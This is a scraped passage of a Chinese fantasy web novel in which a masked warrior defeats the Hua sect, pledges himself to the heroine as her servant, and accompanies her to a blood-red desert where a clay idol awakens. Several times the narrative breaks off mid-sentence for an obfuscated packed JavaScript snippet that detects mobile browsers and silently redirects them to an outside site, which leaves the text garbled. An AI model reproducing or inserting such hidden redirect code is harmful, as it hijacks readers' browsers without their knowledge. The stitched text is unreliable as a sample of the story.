激烈的碰撞声中,尘雾再次弥漫,两人快速穿梭,反复相撞,爆发出阵阵光芒,像两道在云层中较劲的闪电。 某个瞬间,二人擦身而过,紧接着,传出一声仓皇的叫喊,“你是……”余音被轰然巨响盖过。 一物破开尘雾,深深嵌入山头,在余威中狂颤,震落簌簌碎石,待到静止,方显露出完整的轮廓,龙纹已沾染血色—— 胜负已分。 “别动。”刀背轻轻拍打华重楼的肩头,示意他维持半坐于地的姿势。 察觉他隐约的杀意,华重楼咽了口唾沫,慢慢放下手中的另一柄斧头。 “你知我来意,尚且如此做派,想必……”男子缓缓道,微抬手腕,“是不遂我意了?” 长刀上移一尺,精准地抵在华重楼喉间。 “我……”华重楼努力后仰,刀尖顺势向前,抵着颈上跳动的脉搏陷进去,就在皮肉绷到极致,快要被刺破之时—— 男子忽然收刀,划出一道干脆利落的弧线,“你意图求生,又何必如此。”他拽住华重楼的衣领,一把将人提了起来。 “宗主!” 驻守后山的弟子终于赶到,见华重楼身上带伤,状似被胁迫,立刻将男子包围,亮出兵器。 “你是何人!” “竟敢伤害宗主!” 见男子看来,华重楼当即道:“都退下!” “这……” “但是……” 弟子们不解其意,见华重楼坚持如此,面面相觑片刻,只得散了,但仍手持兵器,神色警惕。 “还请前往密室详谈。”华重楼收回板斧,摆出邀请的手势,却见一点寒芒朝男子背后杀来,下意识出声提醒,“小心!” 手腕翻转,绽开一片绚烂的刀光。 “锵——” 尖锐的摩擦声,令人牙酸。男子这才回头,视线越过被刀卡住的银漆长矛,定格在青年身上,正是席子瑞。 他旋身强攻,刚起了个头就被看破。男子侧刀,旋身接力,以精确的角度切进矛头的缝隙,手腕一震,反将主动出招的席子瑞挑飞半里。 “住手!”华重楼似是想起什么,兀地一顿,绷紧面皮,“你……” “宗主,他竟敢伤你!”席子瑞倒退数步,泄去余力,面色不虞,“简直不把华宗放在眼里!” 听这口气,华重楼不由松了口气,“并非你所想的那样,我与这位……” 话说到一半,被男子抬手制止。他转向席子瑞,眯起眼,“你身上的味道……” “我身上哪有什么味道?”席子瑞下意识嗅了嗅衣袖。见对面目光陡然危险,他擎起长矛,硬气道,“想打架?那就再来!” 男子微微颔首,指腹擦过刃尖,于是颗颗血珠滚落,划出艳丽的弧线,激起闪烁微光,如同吐息。他横亘长刀,摆出起手式,一个闪身,刀光如暴雨倾盆。 不同于方才的点到而止,这是真正的杀招。 席子瑞抡起长矛,挥舞成圆,且打且退。每挡下一次或刺或劈的刀尖,余力沿杆身层层传导,积蓄、冲击手臂各处关节,最后他忍不住闷哼一声,长矛脱手而出。 “你……咳!”席子瑞眼睁睁看着自己被定住四肢,扼住脖颈提了起来,他双目喷火,强行提上一口气,断断续续道,“你,你想干什么?” 见男子动了杀心,华重楼架起双斧,沉声道:“放开他!” “师兄,我们来助你!”弟子们再度形成包围圈。 男子打了个响指。 须臾间,藤蔓钻出地表,交织成笼,将华重楼和弟子们一一困住,尖刺徐徐舒张,尽情展示能瞬间将人扎穿的力量。 “你身上有他的味道。”见席子瑞眼神一黯,男子语气一轻,但话依然很重,“真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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躲开一掌,男子藏进藤蔓之中,避开箭矢,在华谏耳旁低语道:“此事与你无关。” “自然与我有关!”华谏咬紧牙关,但一身所学皆被轻易化解,仿佛满腔奋勇都打在一团棉花上,不依不饶道,“休想伤我阿父!” “阿父”两字一出,男子目光骤冷。他不再闪避,反手向半空掷出长刀,刹那间逼停箭风。随后大步上前,一拳打在华谏小腹,趁人吃痛弯腰之际,化拳为掌,双手抓住他的衣领,狠狠掼在地面。 华谏被这蛮力砸得头晕目眩。 一招得手,男子腾空而起,召回长刀,劈开箭丛,踏着藤蔓飞上高空,随意挥斩,带动急促的气流,锁住凌栾四肢。 “放开我!”凌栾正欲投出弓矢砸人,被刀风割过手腕,下意识一缩,闻到散开的血味。 “你……”话才启头,男子神色一空,表情忽而迷幻,如堕梦中。他举刀,挑起凌栾袖口,逼人露出伤处。 “滚开!”凌栾试图抽手,反被扬起的藤蔓囚住,狠狠咬唇,怒视对方,“给我滚开!” 但距离一步步拉近了,刀刃贴着肌肤游弋,像潜行的蛇,汲取更多猎物的气息。就在他立起刀尖,贪图更多之际—— “住手!”一声暴喝。 45. 主人 一道银线激射而出,贯穿男人肩头。 “华烨!”看清来人,凌栾立即挣扎起来,藤蔓却意外松开了。她落地打了个滚,扶起邻近的席子瑞,探过鼻息,只是晕过去了,稍稍放下心来。 男子低下头,慢慢拔出那柄袖剑,血一流出,立刻被黑袍吸收,消失得无影无踪。 “是华师姐!”众弟子欢呼出声,仿佛迎接获胜归来的英雄。 阿也倚着树干,压下激荡的血气,面上维持平和的神情,内心暗自嘀咕,他明明可以躲开这一击。 一年的时间根本不足以炼化黑焰的力量,加上被爆炸声干扰,她强迫自己提前醒来,身体尚未恢复,简直是雪上加霜。 忽然间,对上华重楼的目光,阿也一愣,却也是他率先移开了眼。 “你难道不知……华宗主知晓你的来历么?”充满恶意的低语声在耳畔回响。 一股甜腥涌上喉头,被阿也及时咽下。她努力调匀吐息,对自己说,现在不是纠结这些的时候,当务之急是解决眼前这个棘手的男人。 阿也抬起眼,却见男子转身向自己走来。他张开五指,长刀立时化作光点,钻进黑袍之中,无影无踪,一如身上凛然杀意。 “小心!”凌栾安置好席子瑞,架起长弓,借元力凝出三道箭矢,刚搭上弦,又被突如其来的藤蔓锁住,摆脱不得,怒斥道:“你离她远点!” 距离越来越近。 仿佛又闻到梦中那种陌生的味道,阿也头晕目眩,一手把住树干,强撑起身体,另一手贴上腿侧,摸了个空,才想起来另一把袖剑折在阴山。 这下真是……鱼死网破了。 忍着经脉痉挛的痛楚,阿也从识海里调出一丝火焰藏进手心,安抚自己,忍一忍,再坚持一会儿。 但男子每一步都走得极缓慢,像是跨过无数看不见的障碍,行走间他垂着眼,鬓间一绺小辫随动作摇摇晃晃,像被微风吹拂的草尖。 奇怪。阿也皱眉,银面遮脸,不见五官,但心跳一下又一下加重,如惊雷在耳边炸响,激得血气翻涌,让人无法集中注意力。 来了! 男子在她身前三步站定,是既危险又安全的距离,危险在于长刀偷袭范围之内,而安全在于火焰爆炸范围之中。 摸不透他的意图,阿也绷紧五指,火焰即将脱手—— “主人。” 火焰陡然消散了。 阿也怔怔看着面前向自己单膝下跪的男子,脑海里一片空白,像是流动的沙漠。 他双手奉上干干净净的袖剑,恭敬地低头,露出脆弱的后颈,一套动作行云流水,仿佛重复过千百遍。 “你……” 阿也下意识后退一步,声响引得男子抬头,那绺小辫随之垂落,露出刺穿右耳骨的半节四棱晶柱,微微闪着红光。 “这是……”阿也喃喃道。 她曾见过的,是虫巢核心。 更令人震撼的是他的瞳色,极罕见的墨绿,浓郁醇厚,像是凝结多年风霜的翡翠—— 一瞬间,她以为看见了梦中那匹苍狼。 “你是……唔!” 答案即将脱口而出,一股血抢先涌上喉头。阿也仓促间捂住,血沿着指缝喷溅而出,霎那间,天旋地转。 “烨儿!”一声撕心裂肺的呼唤。 谁在叫她?华重楼? ……他不是知道我是谁吗? 我究竟是谁?阿也揪住心口的衣襟,急促喘息着,遍寻一个答案而不得,在最后的视野里,见到男子陡然放大的银面。 他眼底有碎光莹莹,仿佛悬挂草尖的露珠,滴滴打在自己眉间,像一闪而过的凉风。 “你要带她去哪儿?喂!” 见男子打横抱起昏迷的阿也,径直朝着山下奔去,华谏咬牙爬起来,撤开禁锢凌栾的藤蔓,追着男子的方向而去,头也不回道,“叫余寰过来!” “哗啦啦……” 潭水顺着元力的指引向中心汇聚,在寒气中冻结成冰,托起了昏迷的少女。 “还好还好,总算赶上了。”余寰捋开被汗水沾成绺的长须,好奇地打量男子,“你是哪位,我怎么从来没见过?” 男子沉默以对。 “喂!我跟你说话呢?”余寰气得吹胡子瞪眼,“哪有你这样藐视长辈的?是大不敬!” 男子转头,注视着冰上的少女,一言不发。 “你……”余寰大步上前,正要教训人,被华谏拦下。 瞥一眼男子,似乎对外界无动于衷,华谏赔笑道:“这位一时忧心过度,忘了礼节,余长老大人有大量,饶他这一回如何?” “罢了罢了。”余寰摆摆手,开始把脉,面色逐渐凝重,长叹一口气。 心顿时提了起来,华谏赶忙道:“她怎么样?” “她体内的力量过于强大,远超身体所能承受的极限。倘若方才晚来一步,持续的高热就会烧干血肉,将一切化为乌有。” “这……”华谏心神俱震,“那这如何是好?” “暂且辅以寒冰降温。”余寰为难道,“但治根的法子,还未想到,待我回去查查医书,再做决定。” “劳烦余长老了。”华谏作揖。 “本分如此。”余寰道,走之前还不忘瞪一眼岸边的男子,嘟囔一句“臭小子”,不满地离开了。 华谏转身,见男子一动不动,维持着同样的姿势,呆呆地凝望冰上人,活像一尊望……呃,妇石。 他连连摇头,撇开杂念,思忖道:“此处仅你我二人,阁下不妨直言,来此所为何事?” 片刻后,男子回答:“寻人。” 华谏骤然警觉,“你想带走她?” “取决于她的意愿。” “什么意思?” “她想活,我就带她走,她想留,我便陪她。”男子平静道。 “那你的意思是……”华谏艰难开口,“她留在这里,会,会……”那个字怎么也说不出口。 “留在这儿,她必死。”男子低头,缠满绷带的手伸入潭水,拨开涟漪,波纹随动作迭荡,轻轻触碰中心的浮冰,“你们也会死。” “什么?”华谏怀疑自己听错了,“你刚刚说……” “我,你,你们,包括五州,包括整个世界,都会灭亡。”男子逐字逐句地重复。 即便是一句玩笑话,但他毫不在意的态度令人瞠目结舌,华谏回过神来,心缓缓沉了下去,原来那一回天灾,只是暴风雨来临前的预告。 回想起莲中人的身影,华谏下意识道:“她究竟是谁……”说完才意识到自己说漏了嘴。 男子不咸不淡地看他一眼,回答了这个问题,“是我的……主人。”他语气虔敬,“是五州之主,也将是这世界之主。” 华谏睁大了眼,仿佛平庸之辈窥得天机,好半天才平复下去,深吸一口气,“阁下为何同我说这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“在这边。”阿也指明方向。 “是。”巫蕴抬手,藤椅自主向山上走去,而他亦步亦趋,总是保持三步的距离,仿佛跟随君王步辇的忠诚护卫。 少顷,顺利在楼前停住。阿也跳下藤椅,走进房内,望了眼天色,“你先去找个住处,明日我自会来找你。” 巫蕴摇头,缓慢而坚定。他伸手替她合上房门,隔着一道门,道:“我会守在这里。” 她原来这么刻薄么?阿也想,都不让人睡觉的,讪笑一声,换下衣物,回到榻上,盘腿打坐。 太冷睡不着是假,借机提高实力才是真。 坚冰固然能稳住这副身体,却也拖累炼化的速度。她小心翼翼地在两者之间寻求平衡,开始吸纳黑焰的力量——虽摸不清巫蕴的来意,但不可全然信任,至少要有一战之力。 忽然一声惊雷,外面下起暴雨。 电闪雷鸣,在门上拉出长长的影子,时动时静,如同风中屹立的苍松。 不知那两株也桃怎么样了。阿也心想,一阵困意涌上来,于是翻了个身,裹上柔软的冬被,枕着连绵的雨声入眠。 一夜无梦。 清晨第一缕阳光斜射入窗,她抻了个懒腰,筋骨一阵噼里啪啦地爆响,像是重新归位,浑身松快。 很久没有这样安稳睡过一觉了。阿也悠悠穿戴整齐,见门上一片完整的光亮,心想巫蕴大概是去补觉了,径直推开门—— 巫蕴就站在那株枯萎的也桃树下。 他捧起双手,绿色光点逸出指缝,在空中飘散、舞动,仿佛盛夏夜里的漫天萤火,将也桃被暴雨打落的花瓣悉数托起,逐一回到原处。 枝头重回热闹,仿佛时光倒流。 46. 决裂 在常例议会上,华谏当众宣布了自己的决定。 “先前大家亲眼目睹,华烨为百姓做出的惨烈牺牲,无愧天地,更无愧众生。我心有不忍,故与这位前辈约定结伴同行,为寻求解药远游四方,暂无归期。” “我意已决。”华谏毅然地画上句点,不容置喙。 “那华宗怎么办?”有人迟疑发问,引起一片稀稀落落的附和声。 “宗主既已出关,加上各位长老从旁协助,无需担忧华宗未来。”华谏淡淡回答。 长老们面面相觑,华重楼已闭关一年有余,即便被迫出关了,也不愿在此露面,好不容易培养出有接班人,结果却……当即有人反驳道:“但宗主……” “我并非宗主所出。”华谏忽然道。 这一句落下,如巨石砸出一片水花。 堂内落针可闻,少顷,凌栾抬起头来,盯着华谏,一字一顿道:“什么意思?” “我乃宗主领回来的孤儿。”华谏颔首,“承蒙宗主养育之恩,我得以成长至今,亦有心回报,奈何心有余而力不足,待华烨康复后,再作报恩打算。” 他居然……就这样说了出来。阿也顿口无言,尽管巫蕴提前知会过同行的消息,但这一出没必要的自曝出身着实令人震撼——他本可以采用更加委婉的方式。 “他既非你兄长。”凌栾转向阿也,面容严肃,“你可愿与他同行?” 她交握十指,逐一捏响关节,大有一副如果说不就会全力阻挡华谏的架势。 暖意涌上心头,阿也微微颔首,“华烨自然愿意。”顺便替他解开身世之谜。 “那一路顺风。”作为首席长老的凌栾以这简短有力的一句结束了例会。 不少长老颇有微词,但在经过一脸凶相的凌栾和面露无奈的席子瑞时,还是夹紧尾巴匆匆离开。 “等你回来,我们再成礼。”凌栾缓和脸色,认真叮嘱阿也,“早些回来。” 旁边的席子瑞点头如捣蒜,趁凌栾不备,悄悄使了个眼色。 读懂那是旧事不必再提的意思,阿也笑笑,颔首应道:“多谢师姐和师兄相助。”说罢,便领着巫蕴出门去。 “你,留下来。” 华谏正要跟上,忽被凌栾这一句叫住,以为是有事相商,于是乖乖站在原地,见二人一前一后走远了,又不免焦躁,催促道:“有话直说。” 等人都散尽了,凌栾微微偏头,“去关门。” “是!”席子瑞领了命,小跑过去关上门,堂内骤暗。 “你做什……”华谏不解,但一句话还没说完,见凌栾大步踏来,面色极其难看,心道不妙,张口辩解,“凌……” 凶猛的一拳迫近眼前—— “我什么都没做!” 拳风停在脸前半寸,华谏高举双手,“我只是坐在屏风那边同她说说话。” “真的?”凌栾狐疑地盯他半晌,见他神色真挚,慢慢收回手,“如此便好,华烨待你亲如兄长……” 不,不是兄长……心突突地跳了起来,华谏咬着嘴唇,直视凌栾双眼,“我不想做她兄……” “啪!” 这结实的一巴掌打得华谏偏过头去,嘴角渗出血来。 这一下连席子瑞也目瞪口呆,赶紧冲上来,拉开二人,看看盛怒的这个,又看看平静的那个,不知如何是好,犹豫地转向后者,道:“师弟你……” “我不想做她兄长。”华谏顶着脸侧鲜红的巴掌印,舌尖抵着齿关,尝到血味。 “我到凉亭啦。” 链接里传来云欢久违的声音,阿也心神一荡,脚步不由加快了。 “主人似乎很高兴。”巫蕴看着她眼角眉梢的笑意,忍不住道。 “很久没见了。”阿也心情好,提了一句。 “那我……”巫蕴脚步一顿,阿也立即会意,“无妨。你同我一起去。” 她还记得云欢信中提过调查师祖遗物无果,或许来自外世的巫蕴会知其来历。 绕过指路碑,阿也三步并作两步迈入凉亭,不等开口,一个拥抱迎面扑来,“小烨!”力道之热烈,她不得不后退一步,才将身形稳住。 “这么久不见。”云欢端详她的脸色,满脸心疼,“怎么你的气色还是不见好转?” “伤总要慢慢养的,往后会越来越好的。”阿也笑笑,触及云欢肩头坚实的肌肉,显然吃了不少苦头,便道,“这一年在外过得如何?” “还好啦。”云欢压低声音,“我刚听师姐说,你要和华谏一起去?”她一顿,“他……真不是你兄长啊?” 消息传得真快。阿也点点头,恐怕是凌栾不愿让华谏参与此事,特意叫云欢来劝自己。她想了想,道:“华谏是去寻自己的身世。” “那你……小心些。”云欢犹豫道,至于小心什么,她也说不上来,悄悄瞥一眼巫蕴,声若蚊蝇,“两个男的……不如我和你一起去?” 阿也眨了眨眼,顿悟,笑道:“他们并非我对手。”她补充一句:“此番前去,有诸多危险,恐难以预料。” 云欢当即道,“那我还是别去了,以免拖累你。” “我并非此意。若你愿同我去,我自然高兴。”阿也拍了拍她的肩,“再者,没有你,我也不会在这儿了。” 华谏同她说过,最后是云欢从熔岩里捞起自己,手脚都被烫得焦黑,花了好久才养好。 “那我陪你一起。”云欢坚定道,“你们准备什么时候出发?” “三天后。”阿也回答。 “这么急……”云欢挠了挠头,苦着脸,“那我先想想怎么跟师姐交代,云绮师姐上回还骂我心野不着家,还好被云弈师姐拉住了,不然非得上来踹我一脚。” 二人相视一笑。 “对了,这位是巫蕴。”阿也引荐,“或许他会知晓师祖遗物的来历。” 闻言,云欢眼一亮,抬起头看他。 对上那双略长的桃花眼,像是一粒石子投入碧潭,荡起圈圈涟漪,巫蕴一怔,“你……” 见他迟疑,怕是有些不为人知的隐秘,阿也知趣道,“事关师祖遗物,你二人先谈,我在山下等待。”说罢,便转身离开。 视线落在巫蕴右耳骨上的一点红色,云欢琢磨半晌,虽估不出他的年纪,但见身形高大,又气度非凡,便抬高称呼,示礼道,“巫大人。” 她斟酌字句,“请问您耳上这晶柱……” 忽然间,寒光一闪,云欢被迫后退,背后抵住亭柱,随后颈间一凉,刀背紧贴跳动的脉搏,冰冷刺骨。 “你知此物?”巫蕴眼中杀气迸射。 “我,我不知此物!”云欢被这突如其来的招式吓得脸色发白,哆嗦道,“我师祖曾有类似一物。” 生怕刀尖再进一步,云欢语如骤雨,“我师祖临终前托付我此物,叫我去寻一位大人的下落,但我寻遍五州,并无任何头绪,因而冒昧前来请教您,可否指点一二。” 在漫长到令云欢忐忑的沉默后,巫蕴忽然问,“你叫什么?” 不问师祖,反倒来问我姓名?云欢一愣。 “你是谁?”巫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265355|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蕴等不及回答,上前一步逼问。 这一问令云欢猛地睁大眼,似乎曾有这一时刻,她被人问过相同的问题,但仿佛隔纱视物,那段回忆触手可及,却朦朦胧胧,并不清晰。 刃尖擦颈而过,喉头一缩。在几近窒息的恐惧里,刻意掩埋的记忆终于破开束缚,浮出水面。 ……是她。 那句刻意的“让开”。 还有那一天,在滩涂上发现她的时候,闻到她身上隐约的气味,是杏仁的苦味和芙蓉的花香——和地道里的那人,一模一样。 “我……”云欢喃喃道,眼泪流下来。她逐字逐句地说出那日一模一样的回答,“我叫云欢,白云的云,欢喜的欢。” 不知二人聊得如何了。阿也正在岔路口出神,忽听见上方传来一声歇斯底里的叫喊,“华烨!” 好像是云欢?阿也回头望去,却见云欢站在台阶之上,泪流满面。 “我去阴山,是为了替师祖寻人。”云欢一步步迈下台阶,站在她身前。 “巫蕴耳上那晶柱便是师祖遗物,而师祖临终前托付给我,让我替她寻一个人。”云欢紧紧盯着阿也,眼眶通红,一如晶柱的颜色,“而你,是唯一能让它有反应的人。” 阿也一愣,“我……”随即抿唇不语。 这反应落入眼底,被误解成另一种含义。云欢不可思议道,“你早就知道了?” “那为什么不告诉我?就算你不知道……这不能怪你,你的确不知道,不,其实你知道。”云欢语无伦次,“那你是什么时候知道的?是离开云间派之后吗?还是之前?那你有没有见到师祖?你......” 斑驳陆离的画面在脑海里纠成一团,胀得发痛,像是被抽干神智,阿也怔怔看着云欢的眼泪慢慢、慢慢地淌干了。 “你走吧。”云欢闷闷道,她坐了下来,将头埋进膝间,“让我一个人静一会儿。” 脑子里嗡嗡作响,理不出话头。阿也恍惚地点点头,走下阶梯,片刻后,忽然回首,云欢仍然坐在那里,还是一身鲜亮的五彩斑斓衣,瞧着却灰扑扑的。 雪越下越大,遮天蔽日,将天地搅成浑浊的一片白。阿也撑开伞面,默然向小楼行去,像是又变回孤魂野鬼。 “主人。” 浩浩风雪中,巫蕴站在那株死而复生的也桃下,低着头,声音也是浑浊的。 阿也径直越过他,继续向前,拐过另一株也桃时,顺手折了一枝挂雪的,登上小楼二层,支起木窗,泄下一线天光。 这里是独属于她的一方天地。 与窗前的白瓷瓶对坐,瓶中插着两支枯败的藤,花瓣已经凋零,露出所剩无几的蕊芯,但藤身相互纠缠,一如初生时刻。 指腹抚过卷曲的花蕊,仿佛触及云欢含泪的睫羽,烫得缩回。 理清那些混乱的画面,像是解开乱糟糟的线团,阿也抬起手,插入新的花枝,花瓣上的碎雪在暖意中慢慢融化成水珠,滴进瓶中,叮咚一声。 是这室内唯一的鲜活。 窗外大雪纷飞,却无一飘入房内,连竹浪松涛之声也传不进来,这层楼仿佛与世隔绝。 “见过的。”阿也轻声道。 在不分昼夜的昏睡里,偶尔炼化黑焰的力量,会拾得一些记忆碎片,大部分是华烨的过去,有时则是自己的,前者连贯,而后者大多零碎模糊,极少有清晰的—— 或许那是黑焰特意留给她的。 在入住青兰的夜晚,在那场不期而至的雨里。 是她撑着伞,敲响了竹屋的门。 47. 赤州 经过两日的雪,下山台阶被覆去大半,勉强探出些许,远方的山头也裹上素白。 “别等了。”华谏递过手炉,“云欢不会来了。” “嗯。”阿也下意识地应了一声,等话过了耳,才明白意思,于是视线渐渐聚焦,回到飞雪之上。 她接过手炉,摸过温度,藏进袖中,呵出一口白雾,被风徐徐吹散,轻声道,“走吧。” “小心。” 台阶上的积雪被藤蔓推到一旁,华谏替阿也撑伞,再引导她踩在空处,时不时伸手搀扶一把。 目光停在她搭在华谏小臂的手上,仿佛蜻蜓点水,巫蕴低下头,默然不语,好似成了一棵会行走的树,枝桠间很快落满了雪。 主人独自在小楼待了两日,未曾与自己说过一句话。巫蕴想,他大概又做错了,不该将晶柱的来历告诉云欢。 但主人竟然连这些也忘记了。巫蕴垂下眼,想起前日余寰复诊时,再三强调保持心平气和,决定暂时不要说为好。 “这一年飞舟改进不少,去赤州只需两三日光景了。”华谏有意缓解沉闷的气氛,笑言道,“没想到通往外界的出口居然在赤州。” “传说那是一片古战场,有大能陨落,血肉浸染土地,所过之处,寸草不生。” “那里怨气颇重倒是属实,长年阴风肆虐,连死物也会被侵蚀。” 云欢的话在耳畔回响,阿也抿唇,眼前浮现出那张挂满眼泪的面容,或许……她永远都不会来了。 虎押码头,飞舟在雄浑的号角声中扬帆启航,阿也站在甲板上,目送钧州逐渐缩小,几不可见。 而面对码头的一处偏山上,华重楼望着天际中远去的那一点,混浊的眼里浮现出一层泪光。 “时候不早了,早些歇息吧。”华谏替她推开休憩室的门。 一道珠贝玉帘隔开前后,两扇屏风隔开房间左右,内里各放着数张连榻,绸被颜色素雅,饰有暗纹。 ……甚至还熏了淡香——与之前相比,简直天差地别。阿也心道,掀开玉帘,绕过右边屏风,在靠窗的榻边盘腿坐下。 玉帘回落,遮住人影,珠贝碰撞,声响清脆。 巫蕴抬脚向右,正要掀帘—— 一柄白扇横插而入,拦住他的去路,执扇的手背青筋暴起。 “男女授受不亲。”华谏皮笑肉不笑,“前辈还请自重。” 巫蕴看他一眼,华谏移开视线,挽了个扇花,客气道,“前辈,请。” 二人僵持着在对侧歇下,灭了光。 窗外明了又暗,日升了又落,忽现一片深深浅浅的红,屏风外响起华谏的声音,“赤州,到了。” 这一声令她兀地想起石磊,听说他养好伤后,辞去长老一职,去山下当了个铁匠。 想起人在测赋仪式上劝和的样子,阿也叹了口气,没想到短短一年,物是人非。 赤州约是钧州的一半大,空气湿润,褐红色的土壤黏结成团,植被也是相近的颜色,被太阳晒出铁锈味,让整片大地看起来更像一块陈旧的伤疤。 “听闻两位少主来访,生怕弟子们怠慢,故特意前来接待。” 校场上,身披重铠的壮汉朗声道,转向阿也,神色关切,“少主醒来,实在是件幸事,不知一切可好?” “谢山主关心,一切都好。”阿也颔首道。 “那这位是……”穹苍山主看向巫蕴,他以保护的姿态站在阿也身后,衬得身形格外高大,加上银面黑衣,很难不让人注意。 “这位是为我们带路的前辈。”华谏笑道,特意加重了“前辈”的咬字。 巫蕴一言不发,微微颔首,气势却压华谏一头。 察觉二人之间微妙的气氛,山主打哈哈道:“原来如此。”他看一眼阿也,似乎对此浑然不知,果断提起正事,“少主真要去核心矿区?” 阿也点点头,“不惧万难。” “那便随我来吧。核心矿区本是初始之城的所在地,后因过度开采元晶,现已全然沙化,方圆百里,杳无人烟。” 阿也问,“初始之城?”这是她第二次听到这个名称。 “此事说来话长,但简而言之,这五州内有名有姓的门派,最初都是从那城中出来的,因此称为初始之城,但后来不知怎么落魄了,大家便不再提起。” 山主引人来到开阔地带,吹了声口哨。 地面一阵晃动,一头棕褐色的地龙钻出土壤,足有三人合围那么粗,温顺地盘踞上半身,露出光滑背脊,上缠一排一人大小的鞍座。 “这是沙蚓,几位请上座,省些脚力。” “多谢山主。”华谏颔首谢过,几步轻点地面,飞身上了鞍座。 绿光一闪,藤蔓瞬间生长,编织成梯,柔软地垂在鞍座与地面之间。他转向阿也,抚扇而笑,“小心些。” 随着这一笑,梯上开出朵朵鲜花。 对上他的目光,阿也猛地回想前两日下山时细心的搀扶,心中纳罕,吃错药了? 但旁人在看,不便驳了面子,于是她顺着藤梯进入鞍座,侧头却见巫蕴欲上时,藤蔓寸寸收回。 巫蕴脚步一顿,抬头看向华谏,他语气歉然,却面上带笑,“后生实力有限,想必前辈不会介怀吧?” “华谏。”阿也皱眉。 “知道了。”华谏撇嘴,随意挥扇,藤蔓再度搭成长梯,老老实实等巫蕴入座后再撤去。 无意掺合其中,山主立刻催动沙蚓,笑道:“祝愿少主此行,万事如意。” 沙蚓一跃而起,顺利翻过连绵山地与丘陵,片刻后,地势骤然一沉,落入光秃秃的盆地中,无一植被,结成团的土壤分散开来,被阴风卷起,簌簌扑来。 “小心……” 华谏正要开口,见阿也闭眼假寐,随手撑起结界,自讨了个没趣,而巫蕴更是沉默,于是一路无话,唯有沙蚓与沙砾摩擦的琐碎声。 它在流沙之上游动,如履平地,待进入更深处后,陡然吃力起来,挣扎着留下道道波纹。 “就在这儿。”巫蕴忽然开口,沙蚓随之停下。三人陆续下座,踩在沙岸边,微微陷没。 面前百尺见方的沙粒彼此挤压着,是不同于别处的鲜红,像一颗颗细小的血珠,被太阳晒得发烫,热气扑面而来,一股甜腥。 “回来……” 窃窃私语在耳畔响起,阿也晃了下神,好像有什么……在呼唤她。 “这里竟毫无生机。”华谏召集藤蔓无果,面色凝重,一转头,见她神色有异,关切道,“怎么了?” 阿也望向红沙之中,如实回答:“这里面……好像有东西在叫我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273210|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不过随意一句,却像接下命令,巫蕴上前去,影子将阿也完全笼罩,又分离。 他利落地褪下衣物,踏入沙中,没及腰间,于是顿了顿,随手盘起长发,露出宽阔的肩背。 黑袍之下……上半身竟然什么也没穿。 他弯下腰,仔细摸索着,发梢随呼吸轻颤,动作间肌肉起伏,挤出深深浅浅的沟壑。颗颗汗珠滚落,晶莹剔透,仿佛朝露,划过后背交错的痂痕。 似乎……是鞭痕?阿也眯起眼,正要分辨仔细,眼前忽地一暗。 “别看。”华谏挡在她身前,没好气道,“会长针眼。” 也不知这两人较什么劲。阿也一阵头疼,决定不管这些,干脆就地盘坐,再炼化一些火焰。 片刻后,巫蕴跳出红沙,单膝跪在她面前,略带喘息道,“主人,有东西。” 他恭敬地双手呈上一物,是巴掌大的红泥塑像,做工粗糙,连是男是女都看不出来。 但极其眼熟。阿也一怔,她曾见过类似之物,在雅契阁的拍卖会上,下意识伸出手去。 触及神像的刹那,周围似有四方锥形的铁笼降下,将飘忽的思绪囚禁。她头痛欲裂,重心一偏,被人及时扶住。 散落的鬓发遮掩那双瞳仁,仿佛憧憧树影中的一汪幽绿深潭,藏进千言万语。 阿也移开眼,不着痕迹地推开他,“没事。” “是。”巫蕴微微颔首,回到她身后。 经方才一遭,不敢贸然试探。阿也放下神像,思忖着如何开启。 既然雅契阁早已试过,想必寻常方法肯定无用。 “我来试试!”不等阿也阻拦,憋了许久的华谏自告奋勇地拿起神像,翻来覆去,这里拍拍,那里敲敲,一无所获。 那张模糊不清的脸上好似写满嘲讽,华谏抿唇,放回神像,矜持地摇了摇头。 偶然间瞥见巫蕴正望着那神像出神,阿也心头一动,“你见过?” 巫蕴一顿,低下头,“不曾见过。” 撒谎。阿也心想,面上却不显,沉吟道,“如此,我再想想。” 电光石火间,云欢的话再度响起,“有大能陨落,血肉浸染土地……” 莫非要以鲜血供奉? 试试便知。阿也向前俯身,割破指腹,小心挤出一滴,血落在神像之上,一眨眼,被尽数吸收。 霎那间,狂风呼啸,卷动漫天红沙,直向高空飞去,妄图与云齐平。 沙蚓被这响动吓得钻进地下,向来处逃窜而去。 “唔!” 忽然听得一声闷哼,华谏转头看去,后方的巫蕴跌坐在地。 他低垂着头,十指深深插入沙砾之中,裸露的肩背之上,不知何时浮现红色的纹路,涌动着向心口汇聚,像极了骸骨身上那些黑色符咒。 